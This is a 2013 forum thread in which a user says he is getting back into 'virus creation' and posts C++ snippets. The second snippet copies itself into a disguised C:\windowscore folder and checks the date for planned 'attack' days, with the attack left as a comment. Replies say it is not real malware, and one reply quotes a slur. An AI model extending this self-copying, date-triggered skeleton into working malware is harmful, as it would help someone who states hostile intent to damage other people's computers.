Now that the school year is over, I'm finally done with that filthy high-level Java BS, and I can get back into virus creation.
The first thing I've programmed in C++ in close to a year:
swaggity swag viruses here we comeCode:#include <iostream> #include <windows.h> using namespace std; int main() { cout << "Operating System Recognition Test" << endl; char buf[1024]; DWORD dwCompNameLen = 1024; if (0 != GetComputerName(buf, &dwCompNameLen)) { cout << "Utilizing GetComputerName() of windows.h..." << endl; cout << "Computer Name: " << buf; } return 0; }
Results 1 to 19 of 19
- 08 Jun. 2013 12:25am #1
- Join Date
- Apr. 2010
- Location
- When freedom is outlawed only outlaws will be free
- Posts
- 5,113
- Reputation
- 195
- LCash
- 0.25
Feels so good to get back into C++
- 08 Jun. 2013 03:46am #2
wow that's pretty douch-y. you're so cool because you can cause people misery
- 08 Jun. 2013 03:53am #3
- Age
- 32
- Join Date
- Dec. 2009
- Location
- Under your bed! O_O
- Posts
- 1,710
- Reputation
- 40
- LCash
- 0.65
- Awards
Signature removed by Artificial. Too awesome for my eyes to see every time I log on.
Ever wanted to trade our battle pokemon using an emulator?
Learn how to do so here
- 08 Jun. 2013 04:00am #4
nice job EDITING YOUR POST!
- 08 Jun. 2013 04:13am #5
- Age
- 32
- Join Date
- Dec. 2009
- Location
- Under your bed! O_O
- Posts
- 1,710
- Reputation
- 40
- LCash
- 0.73
- Awards
Signature removed by Artificial. Too awesome for my eyes to see every time I log on.
Ever wanted to trade our battle pokemon using an emulator?
Learn how to do so here
- 08 Jun. 2013 04:17am #6
It used to say something like "swaggity swag kill a fag"
or something lol
- 08 Jun. 2013 06:16am #7
I thought we had a programming forum.
Oh wait.
- 08 Jun. 2013 01:07pm #8
- Join Date
- Apr. 2010
- Location
- When freedom is outlawed only outlaws will be free
- Posts
- 5,113
- Reputation
- 195
- LCash
- 8.44
Swaggity swag look at this cool new source
Code:#include <iostream> #include <string> #include <windows.h> #include <fstream> #include <iterator> #include <istream> using namespace std; int main() { //First, the program creates a new folder in C:\ to store itself in CreateDirectory("c:\\windowscore", NULL); //Then, it copies itself there char path[ MAX_PATH ]; string(path, GetModuleFileName(NULL, path, MAX_PATH)); cout << path; //Outputs path, for testing purposes fstream f(path, fstream::in|fstream::binary); f << noskipws; istream_iterator<unsigned char> begin(f); istream_iterator<unsigned char> end; fstream f2("c:\\windowscore\\core.exe", fstream::out|fstream::trunc|fstream::binary); ostream_iterator<char> begin2(f2); copy(begin, end, begin2); //Next, check system time SYSTEMTIME* p_st = new SYSTEMTIME; GetSystemTime(p_st); //Check if it's the correct date to launch the attack if (p_st->wYear == 2014) { cout << "It's 2014!" << endl; if (p_st->wMonth == 1) { cout << "It's also January!" << endl; if (p_st->wDay == 1) { cout << "It's also the 1st!" << endl; cout << "The perfect day for an attack!"; //Proceed with attack } } } else if (p_st->wYear == 2013) { cout << "It's 2013!" << endl; if (p_st->wMonth == 11) { cout << "It's also November!" << endl; if (p_st->wDay == 5) { cout << "It's also the 5th!" << endl; cout << "Remember remember the 5th of November," << endl; cout << "the day Anonymous turned from true" << endl; cout << "hackers into activist wussies." << endl; //Proceed with attack } } } else { cout << "I literally have no idea what's going on."; } }
- 08 Jun. 2013 10:41pm #9
Moving this because c0ffin can't do his job.
- 09 Jun. 2013 01:50am #10
Global Moderator Literally Hitler
Morbidly Obese
Bird Jesus
- Age
- 35
- Join Date
- Nov. 2009
- Location
- The Land Of Ooo
- Posts
- 8,569
- Reputation
- 711
- LCash
- 0.90
- 10 Jun. 2013 09:16pm #11
I don't see how this is a virus really... You move your executable to a "windowscore" folder in C: and then it prints messages depending on the day.
- 11 Jun. 2013 12:49am #12
Although this should go without saying, this is by no means a virus/malware.
I'm lightning on my feet
- 11 Jun. 2013 10:51pm #13
- 16 Jun. 2013 04:13am #14
- Join Date
- Apr. 2010
- Location
- When freedom is outlawed only outlaws will be free
- Posts
- 5,113
- Reputation
- 195
- LCash
- 1.93
Lol exactly, it's not a virus yet. It's the beginnings of a virus. Anyways, if I post more source I'll just get it linked back to me if the virus ever gets released into the wild, so better safe than sorry. Easier to not post the source and not get cred for it than to get cred for it and get arrested.
Yeah, obviously it isn't yet lol
- 16 Jun. 2013 04:16am #15
- 16 Jun. 2013 04:25am #16
I feel it's best not to discuss the creation of a virus period, if you're trying to avoid jail, which you are.
Logical gamers? More like get high and start pushing buttons god damn.
- 16 Jun. 2013 04:26am #17
- 16 Jun. 2013 04:46am #18
- 16 Jun. 2013 11:44pm #19